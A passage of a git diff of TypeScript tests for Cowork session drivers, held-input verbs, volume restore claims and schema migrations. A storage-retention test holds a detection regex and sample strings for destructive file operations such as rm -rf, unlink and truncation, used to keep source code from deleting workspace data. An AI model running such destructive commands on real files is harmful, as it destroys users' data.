incarnation to end"); + await expect((await h.drivers.ensure(h.sid)).open()).rejects.toThrow("cold_resume_unavailable"); + expect(h.guests).toHaveLength(1); + expect(h.f.records.storeState(h.sid).storeState).toBe("lost"); + // The repository refuses to assign (and so to send) over a lost store, and never moves it back to started. + expect(() => h.f.records.assignConversationBackend(h.sid, first.backendSessionId, "incarnation-9")).toThrow("cold_resume_unavailable"); + expect(h.f.records.storeState(h.sid)).toMatchObject({ storeState: "lost", lastIncarnationId: "incarnation-1" }); +}); + +test("N3 (L8): a plan that no longer matches the store state at the set (started became created) is refused by the driver", async () => { + const h = harness({ script: () => {}, echo: [undefined, "resume"], beforeSet: n => { if (n === 1) h.f.records.markStoreCreated(h.sid); }, deps: { coldResume: { ownerPatchApplied: true } } }); + await startedThenEnded(h); + await expect((await h.drivers.ensure(h.sid)).open()).rejects.toThrow("cold_resume_unavailable"); + expect(h.guests).toHaveLength(1); +}); + +test("N3 gate: the cold-resume port without ownerPatchApplied true refuses like no port", async () => { + const h = harness({ script: reply("ok"), deps: { coldResume: { ownerPatchApplied: undefined as unknown as true } } }); + const first = await h.drivers.ensure(h.sid); + await first.open(); await first.send("hi", "cli"); await first.idle(); await first.end(); + await until(() => h.drivers.get(h.sid) === undefined, "the incarnation to end"); + await expect(h.drivers.ensure(h.sid)).rejects.toThrow("cold_resume_unavailable"); + expect(h.starts).toHaveLength(1); + for (const unset of [false, 1, "true", null] as unknown[]) { + const g = harness({ script: reply("ok"), deps: { coldResume: { ownerPatchApplied: unset as true } } }); + const s = await g.drivers.ensure(g.sid); + await s.open(); await s.send("hi", "cli"); await s.idle(); await s.end(); + await until(() => g.drivers.get(g.sid) === undefined, "the incarnation to end"); + await expect(g.drivers.ensure(g.sid)).rejects.toThrow("cold_resume_unavailable"); + } +}); + +const HOLD_HEX = "b".repeat(64); +function heldQuery(calls: unknown[]) { + return (query: ReturnType) => Object.assign(query, { + holdInput: async (request: unknown) => { calls.push(["hold", request]); return { held: true }; }, + commitInput: async (inputId: string, token: string) => { calls.push(["commit", inputId, token]); return { outcome: "queued" }; }, + discardInput: async () => ({ discarded: true }), forgetInput: async () => ({ forgotten: true }), + }); +} + +const heldGate = (reconcile: (context: { sessionId: string; inputs: readonly unknown[]; epoch: { incarnationId: string; leaseEpoch: number }; verbs: unknown }) => void | Promise = () => {}) => ({ enabled: true as const, reconcile: reconcile as never }); +const HELD_CAPS = ["confined-guest-posture-v1", "held-input-v1"]; +/** A guest turn that also emits `system/held_inputs` (once, after init), carrying `inputs`. */ +const heldReply = (inputs: unknown, times = 1) => (_: string, guest: ScriptedGuest) => { + const sessionId = guest.set.conversations[0]!.authority.sessionId; + guest.data(systemInit({ session_id: sessionId, model: FIXTURE_MODEL, tools: ["Read", "Edit", "Write", "Bash"], permissionMode: SDK_HOST_QUERY_MODES[guest.set.conversations[0]!.policy] })); + for (let i = 0; i < times; i++) guest.data({ type: "system", subtype: "held_inputs", inputs, uuid: "11111111-1111-4111-8111-111111111111", session_id: sessionId } as never); + guest.data(assistantText("ok")); guest.data(result()); +}; +const holdOne = (session: Awaited["drivers"]["ensure"]>>) => session.heldInput!.hold({ inputId: "r1", holdToken: HOLD_HEX, text: "hello", clientName: "peer" }); + +test("N4 gate: heldInput exists only with the host's gate AND a runtime offering held-input-v1", async () => { + const withBoth = harness({ script: reply("ok"), capabilities: HELD_CAPS, deps: { heldInput: heldGate() } }); + expect((await withBoth.drivers.ensure(withBoth.sid)).heldInput).toBeDefined(); + const noGate = harness({ script: reply("ok"), capabilities: HELD_CAPS }); + expect((await noGate.drivers.ensure(noGate.sid)).heldInput).toBeUndefined(); + const oldRuntime = harness({ script: reply("ok"), deps: { heldInput: heldGate() } }); + expect((await oldRuntime.drivers.ensure(oldRuntime.sid)).heldInput).toBeUndefined(); +}); + +test("N4: the verbs reach the live query bound to the running incarnation, only after system/held_inputs was reconciled", async () => { + const calls: unknown[] = [], reconciled: unknown[] = []; + const h = harness({ script: heldReply([]), capabilities: HELD_CAPS, deps: { heldInput: heldGate(({ inputs, epoch }) => { reconciled.push([inputs, epoch]); }) }, wrapQuery: heldQuery(calls) }); + const session = await h.drivers.ensure(h.sid); + await expect(holdOne(session)).rejects.toThrow("cold_resume_unavailable"); + await session.open(); + // The run exists but the runtime has not reported its held inputs: no verb may bind yet. + expect(session.coworkEpoch).toBeUndefined(); // rule 1: the epoch is not published before the reconcile + await expect(holdOne(session)).rejects.toThrow("cold_resume_unavailable"); + await session.send("hi", "cli"); await session.idle(); + await until(() => reconciled.length === 1, "the reconcile"); + const context = h.guests[0]!.context; + expect(reconciled).toEqual([[[], { incarnationId: context.incarnationId, leaseEpoch: context.leaseEpoch }]]); + expect(session.coworkEpoch).toEqual({ incarnationId: context.incarnationId, leaseEpoch: context.leaseEpoch }); + expect(await holdOne(session)).toEqual({ held: true }); + expect(await session.heldInput!.commit("r1", HOLD_HEX)).toEqual({ outcome: "queued" }); + expect(calls).toEqual([["hold", { inputId: "r1", holdToken: HOLD_HEX, epoch: { incarnationId: context.incarnationId, leaseEpoch: context.leaseEpoch }, text: "hello", clientName: "peer" }], ["commit", "r1", HOLD_HEX]]); + await session.end(); + await expect(session.heldInput!.commit("r1", HOLD_HEX)).rejects.toThrow("cold_resume_unavailable"); + expect(calls).toHaveLength(2); +}); + +test("N4 rule 1: the epoch is published only when the reconcile RESOLVES; a throw, a malformed list or no reconcile leaves the verbs refused; it runs once", async () => { + // Pending until released. + let release!: () => void, count = 0; + const pending = harness({ script: heldReply([], 2), capabilities: HELD_CAPS, deps: { heldInput: heldGate(() => { count++; return new Promise(r => { release = r; }); }) }, wrapQuery: heldQuery([]) }); + const a = await pending.drivers.ensure(pending.sid); + await a.open(); await a.send("hi", "cli"); await a.idle(); + await until(() => count === 1, "the reconcile to start"); + await expect(holdOne(a)).rejects.toThrow("cold_resume_unavailable"); + release(); + await Bun.sleep(30); + expect(await holdOne(a)).toEqual({ held: true }); + expect(count).toBe(1); // the repeat message did not reconcile again + // A throw: refused for the incarnation. + const failing = harness({ script: heldReply([]), capabilities: HELD_CAPS, deps: { heldInput: heldGate(() => { throw new Error("ledger"); }), log: () => {} }, wrapQuery: heldQuery([]) }); + const b = await failing.drivers.ensure(failing.sid); + await b.open(); await b.send("hi", "cli"); await b.idle(); await Bun.sleep(30); + await expect(holdOne(b)).rejects.toThrow("cold_resume_unavailable"); + // A malformed list never reaches the reconcile. + let called = 0; + const bad = harness({ script: heldReply([{ inputId: "r1", digest: "nope", holdToken: HOLD_HEX, state: "held" }]), capabilities: HELD_CAPS, deps: { heldInput: heldGate(() => { called++; }), log: () => {} }, wrapQuery: heldQuery([]) }); + const c = await bad.drivers.ensure(bad.sid); + await c.open(); await c.send("hi", "cli"); await c.idle(); await Bun.sleep(30); + expect(called).toBe(0); + await expect(holdOne(c)).rejects.toThrow("cold_resume_unavailable"); + // A gate with no reconcile is not a gate: the verbs never bind. + const bare = harness({ script: heldReply([]), capabilities: HELD_CAPS, deps: { heldInput: { enabled: true } as never, log: () => {} }, wrapQuery: heldQuery([]) }); + const d = await bare.drivers.ensure(bare.sid); + await d.open(); await d.send("hi", "cli"); await d.idle(); await Bun.sleep(30); + await expect(holdOne(d)).rejects.toThrow("cold_resume_unavailable"); +}); + +test("N4 rule 1: the reconcile's verbs work BEFORE the epoch is published, and `published` fires only after it is", async () => { + const calls: unknown[] = [], order: string[] = []; + const h = harness({ + script: heldReply([{ inputId: "r9", digest: "a".repeat(64), holdToken: HOLD_HEX, state: "held" }]), capabilities: HELD_CAPS, wrapQuery: heldQuery(calls), + deps: { heldInput: { enabled: true, reconcile: (async ({ sessionId, inputs, verbs }: { sessionId: string; inputs: readonly { inputId: string; holdToken: string }[]; verbs: { discard(id: string, token: string): Promise } }) => { + order.push(`reconcile:${sessionId === h.sid}`); + expect(h.drivers.get(h.sid)!.coworkEpoch).toBeUndefined(); // not yet published ... + await verbs.discard(inputs[0]!.inputId, inputs[0]!.holdToken); // ... but the reconcile can decide the held input + }) as never, published: sessionId => { order.push(`published:${sessionId === h.sid}:${h.drivers.get(h.sid)!.coworkEpoch !== undefined}`); } } }, + }); + const session = await h.drivers.ensure(h.sid); + await session.open(); await session.send("hi", "cli"); await session.idle(); + await until(() => order.length === 2, "the reconcile and the publication"); + expect(order).toEqual(["reconcile:true", "published:true:true"]); +}); + +test("N4 (rule 1): a gate-on runtime WITHOUT held-input-v1 that forges system/held_inputs gets no reconcile, no verbs and no tap effect", async () => { + let reconciled = 0; + const h = harness({ script: heldReply([{ inputId: "r9", digest: "a".repeat(64), holdToken: HOLD_HEX, state: "held" }]), deps: { heldInput: heldGate(() => { reconciled++; }) } }); + const session = await h.drivers.ensure(h.sid); + await session.open(); await session.send("hi", "cli"); await session.idle(); await Bun.sleep(30); + expect(reconciled).toBe(0); + expect(session.heldInput).toBeUndefined(); + expect(session.coworkEpoch).toBeDefined(); // not held back: this runtime is not a held-input runtime +}); + +test("N4: the hold verb refuses text whose trimStart starts with `/` (a slash command ends the host-query guest)", async () => { + const verbs = coworkHeldInputVerbs(() => ({ holdInput: async () => ({ held: true }), commitInput: async () => ({}), discardInput: async () => ({}), forgetInput: async () => ({}) }), () => ({ incarnationId: "i", leaseEpoch: 1 })); + for (const text of ["/clear", " \n/x", "\t/compact now"]) await expect(verbs.hold({ inputId: "r1", holdToken: HOLD_HEX, text, clientName: "peer" })).rejects.toThrow("invalid_request"); + expect(await verbs.hold({ inputId: "r1", holdToken: HOLD_HEX, text: "a/b", clientName: "peer" })).toEqual({ held: true }); +}); diff --git a/packages/core/test/cowork/session-ports.test.ts b/packages/core/test/cowork/session-ports.test.ts index 4da884752..a3ff16769 100644 --- a/packages/core/test/cowork/session-ports.test.ts +++ b/packages/core/test/cowork/session-ports.test.ts @@ -36,7 +36,7 @@ const PINS = { readinessKeys: true as Same, providerScope: true as Mutual, providerScopeKeys: true as Same, - legSession: true as Same, Omit>, + legSession: true as Same, Omit>, legSessionMode: true as Same, // D3: the peer inbox's `PeerEpoch` (`Pick`), absent before the guest starts. legSessionEpoch: true as Mutual | undefined>, diff --git a/packages/core/test/cowork/storage-lifecycle.test.ts b/packages/core/test/cowork/storage-lifecycle.test.ts index c6e4dbd0c..b96cb6613 100644 --- a/packages/core/test/cowork/storage-lifecycle.test.ts +++ b/packages/core/test/cowork/storage-lifecycle.test.ts @@ -63,8 +63,8 @@ const pinned = (f: F) => f.pins.pin(f.workspaceId, digests(), PROOF); // the lower layer beneath an old installation overlay." test("schema 16 adds the lifecycle tables; they are Cowork authority (a populated pin blocks the rollback), and an empty store still rolls back", () => { const f = fixture(); - expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(19); - expect(f.db.schemaVersion()).toBe(19); + expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(21); + expect(f.db.schemaVersion()).toBe(21); expect(COWORK_TABLES).toContain("cowork_workspace_images"); expect(COWORK_TABLES).toContain("cowork_exports"); for (const table of ["cowork_workspace_images", "cowork_exports"]) expect(f.db.db.query("SELECT name FROM sqlite_master WHERE name=?").get(table)).not.toBeNull(); pinned(f); @@ -83,18 +83,18 @@ const userVersion = (home: string): number => { test("an empty current-schema store downgrades to v7 and to v6, loses the lifecycle tables, and upgrades again cleanly", () => { const home = mkdtempSync(join(tmpdir(), "winter-lifecycle-schema-")); cleanup.push(() => rmSync(home, { recursive: true, force: true })); let db = openRuntimeStateDb(home); db.close(); - expect(userVersion(home)).toBe(19); + expect(userVersion(home)).toBe(21); expect(tablesOf(home)).toEqual(expect.arrayContaining(["cowork_workspace_images", "cowork_exports"])); - expect(downgradeCoworkRuntimeStateToV7(home)).toEqual({ from: 19, to: 7 }); + expect(downgradeCoworkRuntimeStateToV7(home)).toEqual({ from: 21, to: 7 }); expect(userVersion(home)).toBe(7); expect(tablesOf(home).filter(name => name.startsWith("cowork_"))).toEqual([]); db = openRuntimeStateDb(home); - expect(db.schemaVersion()).toBe(19); expect(db.integrity().ok).toBe(true); + expect(db.schemaVersion()).toBe(21); expect(db.integrity().ok).toBe(true); for (const table of ["cowork_workspace_images", "cowork_exports"]) expect(db.db.query(`SELECT count(*) AS n FROM ${table}`).get()).toEqual({ n: 0 }); db.close(); - expect(downgradeRuntimeStateToV6(home)).toEqual({ from: 19, to: 6 }); + expect(downgradeRuntimeStateToV6(home)).toEqual({ from: 21, to: 6 }); expect(userVersion(home)).toBe(6); - db = openRuntimeStateDb(home); expect(db.schemaVersion()).toBe(19); expect(db.integrity().ok).toBe(true); db.close(); + db = openRuntimeStateDb(home); expect(db.schemaVersion()).toBe(21); expect(db.integrity().ok).toBe(true); db.close(); }); test("each lifecycle table alone is Cowork authority: one recorded row refuses both downgrades and survives them", () => { @@ -106,7 +106,7 @@ test("each lifecycle table alone is Cowork authority: one recorded row refuses b const db = openRuntimeStateDb(home); db.db.run("PRAGMA foreign_keys=OFF"); db.db.run(insert); db.close(); expect(() => downgradeCoworkRuntimeStateToV7(home)).toThrow("Cowork authority"); expect(() => downgradeRuntimeStateToV6(home)).toThrow("Cowork authority"); - expect(userVersion(home)).toBe(19); + expect(userVersion(home)).toBe(21); const raw = new Database(join(home, "runtimes", "runtime-state.db"), { readonly: true }); try { expect(raw.query(`SELECT count(*) AS n FROM ${table}`).get()).toEqual({ n: 1 }); } finally { raw.close(); } } diff --git a/packages/core/test/cowork/storage-retention.test.ts b/packages/core/test/cowork/storage-retention.test.ts index 77a071f50..13e04498a 100644 --- a/packages/core/test/cowork/storage-retention.test.ts +++ b/packages/core/test/cowork/storage-retention.test.ts @@ -155,7 +155,7 @@ test("an archived, deleting or deleted workspace refuses any disk admission and // under src/cowork fails here until the retention rules above are reviewed for it. const DESTRUCTIVE = new RegExp([ String.raw`\b(?:rmSync|unlinkSync|rmdirSync|truncateSync|ftruncateSync|renameSync|unlink|rmdir|truncate|rename|ftruncate)\s*\(`, // fs calls, sync or promise - String.raw`\brm\s*\(`, String.raw`\bunlinkat\b`, String.raw`\brenameat\b`, + String.raw`\brm\s*\(`, String.raw`\bunlinkat\b`, String.raw`\brenameat\b`, String.raw`\brenamex_np\b`, // renamex_np: RENAME_SWAP exchanges two names, RENAME_EXCL never overwrites String.raw`\bO_TRUNC\b`, // an open that truncates String.raw`\bBun\.write\s*\(`, // Bun's overwrite-by-default writer String.raw`["'\x60](?:/(?:usr/)?bin/)?rm(?:["'\x60\s])`, // spawning rm: ["rm", ...], "/bin/rm", "rm -rf ...", and Bun shell $\`rm ...\` @@ -163,7 +163,7 @@ const DESTRUCTIVE = new RegExp([ test("the ratchet pattern recognizes each removal, rename-over and truncation form, and not lookalikes", () => { for (const code of [ "rmSync(p, { recursive: true })", "await rm(p, { force: true })", "unlinkSync(p)", "await unlink(p)", "rmdirSync(d)", "await rmdir(d)", "truncateSync(p, 0)", "await truncate(p)", - "ftruncateSync(fd, 0)", "await ftruncate(fd, 0)", "renameSync(a, b)", "await rename(a, b)", "native().symbols.renameat!(d, a, d, b)", "unlinkat(fd, name, 0)", + "ftruncateSync(fd, 0)", "await ftruncate(fd, 0)", "renameSync(a, b)", "await rename(a, b)", "native().symbols.renameat!(d, a, d, b)", "lib().symbols.renamex_np!(a, b, 2)", "unlinkat(fd, name, 0)", "openSync(p, O_WRONLY | O_TRUNC)", "constants.O_TRUNC", "await Bun.write(path, bytes)", 'spawnSync("rm", ["-rf", p])', 'Bun.spawn(["/bin/rm", "-rf", p])', 'execFileSync("/usr/bin/rm", [p])', 'execSync("rm -rf " + p)', "await $`rm -rf ${p}`", ]) expect([code, DESTRUCTIVE.test(code)]).toEqual([code, true]); @@ -193,6 +193,16 @@ test("no Cowork source file removes, renames-over or truncates anything beyond t // The approved WINTER.md write: renameat replaces the instruction file's directory entry atomically // (a content-bound, user-approved edit); it never removes workspace data. /^instruction-fs\.ts:\d+: .*renameat/, + // The export writer and the restore flow (export-io.ts). `renamex_np` is only ever called with RENAME_EXCL (the finished + // bundle appears under a name that does not exist, or a restore places an image where none is) or RENAME_SWAP (an + // atomic exchange of a verified staged image with the live one, after an explicit confirmation). The exchanged-out + // image is kept in `restore-aside-/`; nothing is unlinked or truncated. + /^export-io\.ts:\d+: .*renamex_np/, + // A failed export removes only the dot-named `.partial` folder it created this call in the destination (or, if the record then refused to complete, the bundle it had just renamed into place). + /^export-writer\.ts:\d+: .*rmSync\(owned/, + // A restore that failed BEFORE its first exchange removes only its own `.restore-` staging folder, which holds + // copies from the bundle and no live data. After the first exchange nothing is removed (the staging folder holds the old images). + /^restore-bundle\.ts:\d+: .*rmSync\(staging/, // The production native environment's coordination files (S7B part 1), all in the Coordination directory and none in a workspace: the // installation id's and the stores' own temp files, the atomic replace of a launch-journal entry, and the retirement of a launcher // receipt or journal entry of one scope. No workspace data, image or output is touched. diff --git a/packages/core/test/cowork/volumes.test.ts b/packages/core/test/cowork/volumes.test.ts index 74747924d..5c367edcc 100644 --- a/packages/core/test/cowork/volumes.test.ts +++ b/packages/core/test/cowork/volumes.test.ts @@ -325,3 +325,78 @@ test("sticky exclusion parses bounded plist strings across equivalent binary enc const notString = Buffer.from(valid); notString[8] = 0x4f; for (const value of [Buffer.alloc(0), valid.subarray(0, valid.length - 1), malformed, notString, Buffer.alloc(BACKUP_EXCLUSION_MAX_BYTES + 1), Buffer.from(`${text}`)]) expect(isStickyBackupExclusion(value)).toBe(false); }); + +// ---------------------------------------------------------------------------------------------------- restore claim (content-out volume needs) +const restoring = () => { const f = fixture(); allocate(f); return f; }; +const ownerRows = (f: ReturnType) => f.store.records(f.request.workspaceId).map(v => v.owner?.controllerInstanceId ?? null); +test("a restore claim is exclusive and durable: claim, open and prepareFilesystems refuse from the first moment, and a new process still sees it", () => { + const f = restoring(); + const claim = f.store.beginRestore({ workspaceId: f.request.workspaceId, restoreId: "r1", proof }); + expect(ownerRows(f)).toEqual(["restore-r1", "restore-r1"]); + refusal(() => f.store.claim(f.request), "volume_busy"); + refusal(() => f.store.open(f.request, "data"), "volume_busy"); + refusal(() => f.store.beginRestore({ workspaceId: f.request.workspaceId, restoreId: "r2", proof }), "volume_busy"); // a second restore + expect(f.store.beginRestore({ workspaceId: f.request.workspaceId, restoreId: "r1", proof })).toMatchObject({ restoreId: "r1" }); // the same restore retries + const again = new CoworkVolumes(f.db, f.home, authority, f.backup); // another process over the same database + refusal(() => again.claim(f.request), "volume_busy"); + expect(again.records(f.request.workspaceId).every(v => v.owner?.controllerInstanceId === "restore-r1")).toBe(true); + f.store.endRestore(claim); + expect(ownerRows(f)).toEqual([null, null]); + expect(f.store.claim(f.request).length).toBe(2); // free again +}); +test("a restore cannot claim a workspace a native incarnation owns, an unallocated one, or while a handle is open", () => { + const f = restoring(); + f.store.claim(f.request); + refusal(() => f.store.beginRestore({ workspaceId: f.request.workspaceId, restoreId: "r1", proof }), "volume_busy"); + const g = restoring(); + const handle = g.store.claim(g.request) && g.store.open(g.request, "data"); + g.db.db.run("UPDATE cowork_volumes SET owner_json=NULL WHERE workspace_id=?", [g.request.workspaceId]); + refusal(() => g.store.beginRestore({ workspaceId: g.request.workspaceId, restoreId: "r1", proof }), "volume_busy"); + handle.close(); + const h = fixture(); h.store.plan(h.request, capacities); + refusal(() => h.store.beginRestore({ workspaceId: h.request.workspaceId, restoreId: "r1", proof }), "recovery_required"); + refusal(() => restoring().store.beginRestore({ workspaceId: "nope", restoreId: "r1", proof }), "not_found"); + refusal(() => restoring().store.beginRestore({ workspaceId: "w", restoreId: "r1", proof: "wrong" }), "not_found"); +}); +test("the restore reads through a read-only, identity-pinned descriptor, and only while it holds the claim", () => { + const f = restoring(); + refusal(() => f.store.openForRestoreRead({ workspaceId: f.request.workspaceId, restoreId: "r1", proof }, "data"), "volume_busy"); // no claim yet + const claim = f.store.beginRestore({ workspaceId: f.request.workspaceId, restoreId: "r1", proof }); + const opened = f.store.openForRestoreRead(claim, "data"); + expect(() => writeSync(opened.fd, Buffer.from("x"))).toThrow(); // O_RDONLY: the write is refused by the kernel + expect(opened.volume.purpose).toBe("data"); + opened.close(); + refusal(() => f.store.openForRestoreRead({ ...claim, restoreId: "r2" }, "data"), "volume_busy"); // another restore's claim object + f.store.endRestore(claim); + refusal(() => f.store.openForRestoreRead(claim, "data"), "volume_busy"); // after the end +}); +test("an image the restore replaced stays claimed until its identity is re-recorded, and a wrong belief about the old identity is refused", () => { + const f = restoring(); + const claim = f.store.beginRestore({ workspaceId: f.request.workspaceId, restoreId: "r1", proof }); + const before = f.store.records(f.request.workspaceId).find(v => v.purpose === "data")!.identity!; + // the restorer puts a new image of the same size in place (exclusion is applied to the new file as the restorer must) + const path = f.image("data.ext4"), replacement = `${path}.restored`; + writeFileSync(replacement, ""); ftruncateSync(openSync(replacement, "r+"), RAW_VOLUME_MIN_BYTES); chmodSync(replacement, 0o600); + renameSync(replacement, path); + const fd = openSync(path, "r"); const st = fstatSync(fd, { bigint: true }); closeSync(fd); + f.excluded.add(`${st.dev}:${st.ino}`); + const next = { device: String(st.dev), inode: String(st.ino), uid: Number(st.uid), mode: Number(st.mode & 0o7777n) }; + refusal(() => f.store.endRestore(claim), "recovery_required"); // the record still names the old file: still claimed (visible and safe) + expect(ownerRows(f)).toEqual(["restore-r1", "restore-r1"]); + refusal(() => f.store.reidentifyRestored(claim, { purpose: "data", expected: { ...before, inode: "1" }, next, proof }), "recovery_required"); // believed the wrong old identity + refusal(() => f.store.reidentifyRestored(claim, { purpose: "data", expected: before, next: { ...next, inode: "1" }, proof }), "recovery_required"); // the file is not what was claimed + expect(f.store.records(f.request.workspaceId).find(v => v.purpose === "data")!.identity).toEqual(before); // nothing changed by the refusals + f.store.reidentifyRestored(claim, { purpose: "data", expected: before, next, proof }); + f.store.endRestore(claim); + expect(f.store.records(f.request.workspaceId).find(v => v.purpose === "data")!.identity).toEqual(next); + expect(ownerRows(f)).toEqual([null, null]); +}); +test("reidentifyRestored needs the claim, the right size and a held restore", () => { + const f = restoring(); + const claim = { workspaceId: f.request.workspaceId, restoreId: "r1", proof }; + const identityNow = f.store.records(f.request.workspaceId).find(v => v.purpose === "data")!.identity!; + refusal(() => f.store.reidentifyRestored(claim, { purpose: "data", expected: identityNow, next: identityNow, proof }), "volume_busy"); // no claim + const held = f.store.beginRestore({ workspaceId: f.request.workspaceId, restoreId: "r1", proof }); + ftruncateSync(openSync(f.image(), "r+"), RAW_VOLUME_MIN_BYTES * 2); + refusal(() => f.store.reidentifyRestored(held, { purpose: "data", expected: identityNow, next: identityNow, proof }), "recovery_required"); // wrong size +}); diff --git a/packages/core/test/projector/host-input-committed.test.ts b/packages/core/test/projector/host-input-committed.test.ts new file mode 100644 index 000000000..16432624f --- /dev/null +++ b/packages/core/test/projector/host-input-committed.test.ts @@ -0,0 +1,32 @@ +// #92 4.5: the guest runtime's `system/host_input_committed` is shown on the Cowork conversation as a continuity_warning. +import { describe, expect, test } from "bun:test"; +import type { ProtocolSdkMessage } from "../../src/projector/types"; +import { MAIN_THREAD } from "../../src/projector"; +import { coworkLostInputNotice } from "../../src/cowork/held-input"; +import { accept, beginTurn, init, makeProjector } from "./harness"; + +const committed = (inputId: unknown, outcome: unknown): ProtocolSdkMessage => + ({ type: "system", subtype: "host_input_committed", inputId, outcome, uuid: "hic-1", session_id: "s" }) as unknown as ProtocolSdkMessage; + +describe("projector: host_input_committed", () => { + for (const [outcome, words] of [["folded", "into the turn that was running"], ["queued", "behind the turn that was running"], ["started", "as a new turn"]] as const) { + test(`${outcome} is persisted once as peer_message_committed`, () => { + const { projector } = makeProjector(); + accept(projector, init()); beginTurn(projector, "go"); + const out = accept(projector, committed("pr_abc", outcome)); + expect(out).toHaveLength(1); + expect(out[0]).toMatchObject({ type: "continuity_warning", threadId: MAIN_THREAD, warning: "peer_message_committed", text: expect.stringContaining(words) }); + expect(accept(projector, committed("pr_abc", outcome))).toHaveLength(0); // a replay / re-sent commit appends nothing + }); + } + test("an `already` outcome, a malformed id or an unknown outcome project nothing", () => { + const { projector } = makeProjector(); + accept(projector, init()); + for (const frame of [committed("pr_x", "already"), committed("bad id!", "folded"), committed(7, "folded"), committed("pr_y", "bogus")]) expect(accept(projector, frame)).toHaveLength(0); + }); + test("the lost-input note is a continuity_warning's content, bounded and without a sender", () => { + const note = coworkLostInputNotice(); + expect(note.warning).toBe("peer_message_lost"); + expect(note.text.length).toBeLessThan(4_000); + }); +}); diff --git a/packages/core/test/runtime-sdk/cowork-approval.test.ts b/packages/core/test/runtime-sdk/cowork-approval.test.ts index f00a4e9a1..9820a859b 100644 --- a/packages/core/test/runtime-sdk/cowork-approval.test.ts +++ b/packages/core/test/runtime-sdk/cowork-approval.test.ts @@ -288,6 +288,11 @@ test("planScratch: the epoch comes from the port, never from the path - it moves expect({ kind: (await outcome(g, ...write(0))).kind }).toEqual({ kind: "deny" }); expect((await outcome(g, "Read", { file_path: planFile("cowork-1", 0) })).kind).toBe("deny"); } + // A port answering -1 is no epoch: even the path spelled with that epoch is outside, for every tool. + const negative = build(state("plan"), { ports: { planScratchEpoch: () => -1 } }); + for (const [tool, input] of [["Write", { file_path: planFile("cowork-1", -1), content: "x" }], ["Read", { file_path: planFile("cowork-1", -1) }]] as const) { + expect((await outcome(negative, tool, { ...input })).kind).toBe("deny"); + } // Unsafe session identity: nobody's plan scratch. const none = (sessionId: string) => projectCoworkCall({ identity: () => ({ workspaceId: "w", sourceRevision: 1 }), snapshot: () => new CoworkPolicyTransitionMachine(state("plan"), { closeAdmission: async () => {}, drain: async () => "drained", installView: async () => {} }).snapshot(), classifyPath, planViewInstalled: () => true, planScratchEpoch: () => 0 }, { toolName: "Write", input: { file_path: planFile(sessionId, 0), content: "" }, sessionId }).kind; diff --git a/packages/core/test/runtime-sdk/fixtures/embedded-floor.ts b/packages/core/test/runtime-sdk/fixtures/embedded-floor.ts index 6b048c6e7..d2e3513cf 100644 --- a/packages/core/test/runtime-sdk/fixtures/embedded-floor.ts +++ b/packages/core/test/runtime-sdk/fixtures/embedded-floor.ts @@ -9,7 +9,9 @@ const root = realpathSync(mkdtempSync(join(tmpdir(), "winter-embedded-descendant const home = join(root, "home"), cwd = join(root, "project"); mkdirSync(join(home, "cowork"), { recursive: true }); mkdirSync(cwd); // This fixture covers the floor of an SDK WITHOUT the host-code protection capability (the installed one has it since 0.0.54), so the capability is injected as absent. -const host = createEmbeddedSessionHost({ home, hostPathProtectionCapability: null }); +// Real events, not time: `started` is the engine release (the `start` lifecycle event), `received` counts what the engine has streamed back. +let started = 0, received = 0; +const host = createEmbeddedSessionHost({ home, hostPathProtectionCapability: null, onLifecycle: event => { if (event.event === "start") started++; } }); const mode = process.argv[2]; const env = { PATH: process.env.PATH ?? "/usr/bin:/bin", WINTER_HOME: home, WINTER_DISABLE_GIT_INSTRUCTIONS: "1", WINTER_KEYCHAIN_SERVICE: "com.winter.core.test-isolated" }; if (mode === "daemon-capable") { @@ -52,12 +54,15 @@ if (mode === "daemon") { process.exit(0); } const q = query({ prompt: "go", options: { model: mode === "live" ? "winter-test/hang" : "winter-test/tooluse", cwd, env, spawnClaudeCodeProcess: options => host.spawn(options) } }); -const draining = (async () => { for await (const _message of q) { /* fixture protocol only */ } })(); +const draining = (async () => { for await (const _message of q) { received++; } })(); try { if (mode === "live") { - const deadline = Date.now() + 5000; - while (!host.live().length && Date.now() < deadline) await Bun.sleep(5); - if (!host.live().length) throw new Error("real Worker did not start"); + // The storage transition kills the Worker and gives it 1000 ms to close, while the SDK's kill grace is 1500 ms: a Worker killed BEFORE its engine is running and answering closes only at + // the grace, which is past that budget. So activation waits for the real events (engine released, and the engine has streamed its first message), never for the spawn alone and never + // for a time. The deadline below is a failsafe for a Worker that never gets there, not a pacing delay. + const deadline = Date.now() + 30_000; + while ((!host.live().length || started < 1 || received < 1) && Date.now() < deadline) await Bun.sleep(5); + if (!host.live().length || started < 1 || received < 1) throw new Error("real Worker did not start"); } else { await draining; const deadline = Date.now() + 5000; diff --git a/packages/core/test/usage/script-daemons.test.ts b/packages/core/test/usage/script-daemons.test.ts index 0d3a05626..c576f5ea3 100644 --- a/packages/core/test/usage/script-daemons.test.ts +++ b/packages/core/test/usage/script-daemons.test.ts @@ -49,6 +49,7 @@ const NO_DAEMON_OF_ITS_OWN: Record = { "scripts/cu-live/build.ts": "compiles and signs winter-core-live; runs it never", "scripts/verify-automation-worker-compiled.ts": "runs only the `__automation-worker` route (a worker, no daemon)", "scripts/verify-workflow-compiled.ts": "runs only the `__workflow-worker` route (a worker, no daemon)", + "scripts/verify-fd-receiver-compiled.ts": "runs only the `__fd-receiver-probe`, `__host-code-adapter-probe` and `__host-env-lazy-probe` routes of the compiled binary (no daemon)", "scripts/verify-runtimes-compiled.ts": "runs only `__runtimes-probe` (resolves the bundled runtimes, no daemon)", "scripts/release.ts": "builds, signs and notarizes winter-core; runs only `__keychain-ffi-probe` (an ffi check, no daemon)", "scripts/release.test.ts": "tests the release's helpers; boots none", diff --git a/scripts/build-cowork-native.ts b/scripts/build-cowork-native.ts new file mode 100644 index 000000000..a00f4efbe --- /dev/null +++ b/scripts/build-cowork-native.ts @@ -0,0 +1,75 @@ +/** + * Build the Cowork native pair's UNSIGNED binaries into one directory (default `dist/cowork-native/`), where `embed-cowork-native.sh` and + * `release.ts` read them. + * + * bun run scripts/build-cowork-native.ts --libkrun-include --libkrun-archive [--out ] [--launcher-only] + * + * The launcher is `swift build` (release, no debug info, no linker symbols, so the builder's paths are not in it) into a scratch path. The worker is + * `apple/Cowork/WinterCoworkHVFWorker/build.py worker`, which refuses unless the archive and header hash to the worker pins file's values. The libkrun + * archive is S4's stripped production archive and header; this script never builds, downloads or fetches them (`COWORK_LIBKRUN_INCLUDE` and + * `COWORK_LIBKRUN_ARCHIVE` are the environment spelling). Nothing it 